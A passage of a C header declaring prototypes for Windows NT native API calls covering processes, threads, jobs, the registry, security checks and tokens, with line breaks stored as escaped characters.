HANDLE WaitHandle,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitForSingleObject (\r\n    IN HANDLE Handle,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitForMultipleObjects (\r\n    IN ULONG Count,\r\n    IN HANDLE Handles[],\r\n    IN WAIT_TYPE WaitType,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitForMultipleObjects32 (\r\n    IN ULONG Count,\r\n    IN LONG Handles[],\r\n    IN WAIT_TYPE WaitType,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetSecurityObject (\r\n    IN HANDLE Handle,\r\n    IN SECURITY_INFORMATION SecurityInformation,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySecurityObject (\r\n    IN HANDLE Handle,\r\n    IN SECURITY_INFORMATION SecurityInformation,\r\n    OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN ULONG Length,\r\n    OUT PULONG LengthNeeded\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtClose (\r\n    IN HANDLE Handle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateDirectoryObject (\r\n    OUT PHANDLE DirectoryHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenDirectoryObject (\r\n    OUT PHANDLE DirectoryHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryDirectoryObject (\r\n    IN HANDLE DirectoryHandle,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    IN BOOLEAN RestartScan,\r\n    _Inout_  PULONG Context,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateSymbolicLinkObject (\r\n    OUT PHANDLE LinkHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN PUNICODE_STRING LinkTarget\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenSymbolicLinkObject (\r\n    OUT PHANDLE LinkHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySymbolicLinkObject (\r\n    IN HANDLE LinkHandle,\r\n    _Inout_  PUNICODE_STRING LinkTarget,\r\n    OUT PULONG ReturnedLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtGetPlugPlayEvent (\r\n    IN HANDLE EventHandle,\r\n    _In_opt_ PVOID Context,\r\n    OUT PPLUGPLAY_EVENT_BLOCK EventBlock,\r\n    IN  ULONG EventBufferSize\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtPlugPlayControl(\r\n    IN PLUGPLAY_CONTROL_CLASS PnPControlClass,\r\n    _Inout_ PVOID PnPControlData,\r\n    IN ULONG PnPControlDataLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtPowerInformation(\r\n    IN POWER_INFORMATION_LEVEL InformationLevel,\r\n    _In_opt_ PVOID InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID OutputBuffer,\r\n    IN ULONG OutputBufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetThreadExecutionState(\r\n    IN EXECUTION_STATE esFlags,               // ES_xxx flags\r\n    OUT EXECUTION_STATE *PreviousFlags\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRequestWakeupLatency(\r\n    IN LATENCY_TIME latency\r\n    );\r\n\r\n\r\n// NTSTATUS\r\n// NTAPI\r\n// NtInitiatePowerAction(\r\n//     IN POWER_ACTION SystemAction,\r\n//     IN SYSTEM_POWER_STATE MinSystemState,\r\n//     IN ULONG Flags,                 // POWER_ACTION_xxx flags\r\n//     IN BOOLEAN Asynchronous\r\n//     );\r\n\r\n\r\n// NTSTATUS\r\n// NTAPI\r\n// NtSetSystemPowerState(\r\n//     IN POWER_ACTION SystemAction,\r\n//     IN SYSTEM_POWER_STATE MinSystemState,\r\n//     IN ULONG Flags                  // POWER_ACTION_xxx flags\r\n//     );\r\n\r\n\r\n// NTSTATUS\r\n// NTAPI\r\n// NtGetDevicePowerState(\r\n//     IN HANDLE Device,\r\n//     OUT DEVICE_POWER_STATE *State\r\n//     );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCancelDeviceWakeupRequest(\r\n    IN HANDLE Device\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRequestDeviceWakeup(\r\n    IN HANDLE Device\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateProcess (\r\n    OUT PHANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN HANDLE ParentProcess,\r\n    IN BOOLEAN InheritObjectTable,\r\n    _In_opt_ HANDLE SectionHandle,\r\n    _In_opt_ HANDLE DebugPort,\r\n    _In_opt_ HANDLE ExceptionPort\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateProcessEx(\r\n    OUT PHANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN HANDLE ParentProcess,\r\n    IN ULONG Flags,\r\n    _In_opt_ HANDLE SectionHandle,\r\n    _In_opt_ HANDLE DebugPort,\r\n    _In_opt_ HANDLE ExceptionPort,\r\n    IN ULONG JobMemberLevel\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenProcess (\r\n    OUT PHANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    _In_opt_ PCLIENT_ID ClientId\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtTerminateProcess(\r\n\t_In_opt_ HANDLE   ProcessHandle,\r\n\tIN          NTSTATUS ExitStatus\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtTerminateProcess (\r\n    _In_opt_ HANDLE ProcessHandle,\r\n    IN NTSTATUS ExitStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationProcess (\r\n    IN HANDLE ProcessHandle,\r\n    IN PROCESSINFOCLASS ProcessInformationClass,\r\n    OUT PVOID ProcessInformation,\r\n    IN ULONG ProcessInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtGetNextProcess (\r\n    IN HANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    IN ULONG Flags,\r\n    OUT PHANDLE NewProcessHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtGetNextThread (\r\n    IN HANDLE ProcessHandle,\r\n    IN HANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    IN ULONG Flags,\r\n    OUT PHANDLE NewThreadHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryPortInformationProcess (\r\n    VOID\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationProcess (\r\n    IN HANDLE ProcessHandle,\r\n    IN PROCESSINFOCLASS ProcessInformationClass,\r\n    IN PVOID ProcessInformation,\r\n    IN ULONG ProcessInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateThread (\r\n    OUT PHANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN HANDLE ProcessHandle,\r\n    OUT PCLIENT_ID ClientId,\r\n    IN PCONTEXT ThreadContext,\r\n    IN PINITIAL_TEB InitialTeb,\r\n    IN BOOLEAN CreateSuspended\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI NtCreateThreadEx (\r\n    PHANDLE     hThread,\r\n    ACCESS_MASK DesiredAccess,\r\n    PVOID       ObjectAttributes,\r\n    HANDLE      ProcessHandle,\r\n    PVOID       lpStartAddress,\r\n    PVOID       lpParameter,\r\n    ULONG       Flags,\r\n    SIZE_T      StackZeroBits,\r\n    SIZE_T      SizeOfStackCommit,\r\n    SIZE_T      SizeOfStackReserve,\r\n    PVOID       lpBytesBuffer\r\n);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenThread (\r\n    OUT PHANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    _In_opt_ PCLIENT_ID ClientId\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtTerminateThread (\r\n    _In_opt_ HANDLE ThreadHandle,\r\n    IN NTSTATUS ExitStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSuspendThread (\r\n    IN HANDLE ThreadHandle,\r\n    OUT OPTIONAL PULONG PreviousSuspendCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtResumeThread (\r\n    IN HANDLE ThreadHandle,\r\n    OUT OPTIONAL PULONG PreviousSuspendCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSuspendProcess (\r\n\tHANDLE ProcessHandle\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtResumeProcess (\r\n    IN HANDLE ProcessHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtGetContextThread (\r\n    IN HANDLE ThreadHandle,\r\n    _Inout_ PCONTEXT ThreadContext\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetContextThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN PCONTEXT ThreadContext\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN THREADINFOCLASS ThreadInformationClass,\r\n    OUT PVOID ThreadInformation,\r\n    IN ULONG ThreadInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN THREADINFOCLASS ThreadInformationClass,\r\n    IN PVOID ThreadInformation,\r\n    IN ULONG ThreadInformationLength\r\n    );\r\n\r\nNTSTATUS NtSetInformationVirtualMemory(\r\n    IN HANDLE                           ProcessHandle,\r\n    IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass,\r\n    IN ULONG_PTR                        NumberOfEntries,\r\n    IN PMEMORY_RANGE_ENTRY              VirtualAddresses,\r\n    IN PVOID                            VmInformation,\r\n    IN ULONG                            VmInformationLength\r\n);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAlertThread (\r\n    IN HANDLE ThreadHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAlertResumeThread (\r\n    IN HANDLE ThreadHandle,\r\n    OUT OPTIONAL PULONG PreviousSuspendCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtImpersonateThread (\r\n    IN HANDLE ServerThreadHandle,\r\n    IN HANDLE ClientThreadHandle,\r\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtTestAlert (\r\n    VOID\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRegisterThreadTerminatePort (\r\n    IN HANDLE PortHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetLdtEntries (\r\n    IN ULONG Selector0,\r\n    IN ULONG Entry0Low,\r\n    IN ULONG Entry0Hi,\r\n    IN ULONG Selector1,\r\n    IN ULONG Entry1Low,\r\n    IN ULONG Entry1Hi\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueueApcThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN PPS_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcArgument1,\r\n    _In_opt_ PVOID ApcArgument2,\r\n    _In_opt_ PVOID ApcArgument3\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateJobObject (\r\n    OUT PHANDLE JobHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenJobObject (\r\n    OUT PHANDLE JobHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAssignProcessToJobObject (\r\n    IN HANDLE JobHandle,\r\n    IN HANDLE ProcessHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtTerminateJobObject (\r\n    IN HANDLE JobHandle,\r\n    IN NTSTATUS ExitStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtIsProcessInJob (\r\n    IN HANDLE ProcessHandle,\r\n    _In_opt_ HANDLE JobHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateJobSet (\r\n    IN ULONG NumJob,\r\n    IN PJOB_SET_ARRAY UserJobSet,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationJobObject (\r\n    _In_opt_ HANDLE JobHandle,\r\n    IN JOBOBJECTINFOCLASS JobObjectInformationClass,\r\n    OUT PVOID JobObjectInformation,\r\n    IN ULONG JobObjectInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationJobObject (\r\n    IN HANDLE JobHandle,\r\n    IN JOBOBJECTINFOCLASS JobObjectInformationClass,\r\n    IN PVOID JobObjectInformation,\r\n    IN ULONG JobObjectInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateKey(\r\n    OUT PHANDLE KeyHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    ULONG TitleIndex,\r\n    _In_opt_ PUNICODE_STRING Class,\r\n    IN ULONG CreateOptions,\r\n    OUT OPTIONAL PULONG Disposition\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteKey(\r\n    IN HANDLE KeyHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtEnumerateKey(\r\n    IN HANDLE KeyHandle,\r\n    IN ULONG Index,\r\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\r\n    OUT OPTIONAL PVOID KeyInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtEnumerateValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN ULONG Index,\r\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\r\n    OUT OPTIONAL PVOID KeyValueInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFlushKey(\r\n    IN HANDLE KeyHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtInitializeRegistry(\r\n    IN USHORT BootCondition\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtNotifyChangeKey(\r\n    IN HANDLE KeyHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG CompletionFilter,\r\n    IN BOOLEAN WatchTree,\r\n    OUT OPTIONAL PVOID Buffer,\r\n    IN ULONG BufferSize,\r\n    IN BOOLEAN Asynchronous\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtNotifyChangeMultipleKeys(\r\n    IN HANDLE MasterKeyHandle,\r\n    _In_opt_ ULONG Count,\r\n    _In_opt_ OBJECT_ATTRIBUTES SlaveObjects[],\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG CompletionFilter,\r\n    IN BOOLEAN WatchTree,\r\n    OUT OPTIONAL PVOID Buffer,\r\n    IN ULONG BufferSize,\r\n    IN BOOLEAN Asynchronous\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLoadKey(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN POBJECT_ATTRIBUTES SourceFile\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLoadKey2(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN POBJECT_ATTRIBUTES SourceFile,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLoadKeyEx(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN POBJECT_ATTRIBUTES SourceFile,\r\n    IN ULONG Flags,\r\n    _In_opt_ HANDLE TrustClassKey\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenKey(\r\n    OUT PHANDLE KeyHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryKey(\r\n    IN HANDLE KeyHandle,\r\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\r\n    OUT OPTIONAL PVOID KeyInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName,\r\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\r\n    OUT OPTIONAL PVOID KeyValueInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryMultipleValueKey(\r\n    IN HANDLE KeyHandle,\r\n    _Inout_ PKEY_VALUE_ENTRY ValueEntries,\r\n    IN ULONG EntryCount,\r\n    OUT PVOID ValueBuffer,\r\n    _Inout_ PULONG BufferLength,\r\n    OUT OPTIONAL PULONG RequiredBufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReplaceKey(\r\n    IN POBJECT_ATTRIBUTES NewFile,\r\n    IN HANDLE TargetHandle,\r\n    IN POBJECT_ATTRIBUTES OldFile\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRenameKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING  NewName\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCompactKeys(\r\n    IN ULONG Count,\r\n    IN HANDLE KeyArray[]\r\n            );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCompressKey(\r\n    IN HANDLE Key\r\n            );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRestoreKey(\r\n    IN HANDLE KeyHandle,\r\n    IN HANDLE FileHandle,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSaveKey(\r\n    IN HANDLE KeyHandle,\r\n    IN HANDLE FileHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSaveKeyEx(\r\n    IN HANDLE KeyHandle,\r\n    IN HANDLE FileHandle,\r\n    IN ULONG  Format\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSaveMergedKeys(\r\n    IN HANDLE HighPrecedenceKeyHandle,\r\n    IN HANDLE LowPrecedenceKeyHandle,\r\n    IN HANDLE FileHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName,\r\n    _In_opt_ ULONG TitleIndex,\r\n    IN ULONG Type,\r\n    _In_opt_ PVOID Data,\r\n    IN ULONG DataSize\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnloadKey(\r\n    IN POBJECT_ATTRIBUTES TargetKey\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnloadKey2(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnloadKeyEx(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    _In_opt_ HANDLE Event\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationKey(\r\n    IN HANDLE KeyHandle,\r\n    IN KEY_SET_INFORMATION_CLASS KeySetInformationClass,\r\n    IN PVOID KeySetInformation,\r\n    IN ULONG KeySetInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryOpenSubKeys(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    OUT PULONG  HandleCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryOpenSubKeysEx(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN ULONG BufferLength,\r\n    OUT PVOID Buffer,\r\n    OUT PULONG RequiredSize\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLockRegistryKey(\r\n    IN HANDLE KeyHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLockProductActivationKeys(\r\n    _Inout_opt_ ULONG *pPrivateVer,\r\n    OUT OPTIONAL ULONG *pSafeMode\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheck (\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    OUT PPRIVILEGE_SET PrivilegeSet,\r\n    _Inout_  PULONG PrivilegeSetLength,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheckByType (\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    _In_opt_ PSID PrincipalSelfSid,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    OUT PPRIVILEGE_SET PrivilegeSet,\r\n    _Inout_  PULONG PrivilegeSetLength,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheckByTypeResultList (\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    _In_opt_ PSID PrincipalSelfSid,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    OUT PPRIVILEGE_SET PrivilegeSet,\r\n    _Inout_  PULONG PrivilegeSetLength,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateToken(\r\n    OUT PHANDLE TokenHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN TOKEN_TYPE TokenType,\r\n    IN PLUID AuthenticationId,\r\n    IN PLARGE_INTEGER ExpirationTime,\r\n    IN PTOKEN_USER User,\r\n    IN PTOKEN_GROUPS Groups,\r\n    IN PTOKEN_PRIVILEGES Privileges,\r\n    _In_opt_ PTOKEN_OWNER Owner,\r\n    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,\r\n    _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl,\r\n    IN PTOKEN_SOURCE TokenSource\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCompareTokens(\r\n    IN HANDLE FirstTokenHandle,\r\n    IN HANDLE SecondTokenHandle,\r\n    OUT PBOOLEAN Equal\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenThreadToken(\r\n    IN HANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN BOOLEAN OpenAsSelf,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenThreadTokenEx(\r\n    IN HANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN BOOLEAN OpenAsSelf,\r\n    IN ULONG HandleAttributes,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenProcessToken(\r\n    IN HANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenProcessTokenEx(\r\n    IN HANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDuplicateToken(\r\n    IN HANDLE ExistingTokenHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN BOOLEAN EffectiveOnly,\r\n    IN TOKEN_TYPE TokenType,\r\n    OUT PHANDLE NewTokenHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFilterToken (\r\n    IN HANDLE ExistingTokenHandle,\r\n    IN ULONG Flags,\r\n    _In_opt_ PTOKEN_GROUPS SidsToDisable,\r\n    _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete,\r\n    _In_opt_ PTOKEN_GROUPS RestrictedSids,\r\n    OUT PHANDLE NewTokenHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtImpersonateAnonymousToken(\r\n    IN HANDLE ThreadHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationToken (\r\n    IN HANDLE TokenHandle,\r\n    IN TOKEN_INFORMATION_CLASS TokenInformationClass,\r\n    OUT PVOID TokenInformation,\r\n    IN ULONG TokenInformationLength,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationToken (\r\n    IN HANDLE TokenHandle,\r\n    IN TOKEN_INFORMATION_CLASS TokenInformationClass,\r\n    IN PVOID TokenInformation,\r\n    IN ULONG TokenInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAdjustPrivilegesToken (\r\n    IN HANDLE TokenHandle,\r\n    IN BOOLEAN DisableAllPrivileges,\r\n    _In_opt_ PTOKEN_PRIVILEGES NewState,\r\n    _In_opt_ ULONG BufferLength,\r\n    OUT PTOKEN_PRIVILEGES PreviousState,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAdjustGroupsToken (\r\n    IN HANDLE TokenHandle,\r\n    IN BOOLEAN ResetToDefault,\r\n    IN PTOKEN_GROUPS NewState ,\r\n    _In_opt_ ULONG BufferLength ,\r\n    OUT PTOKEN_GROUPS PreviousState ,\r\n    OUT PULONG ReturnLength\r\n    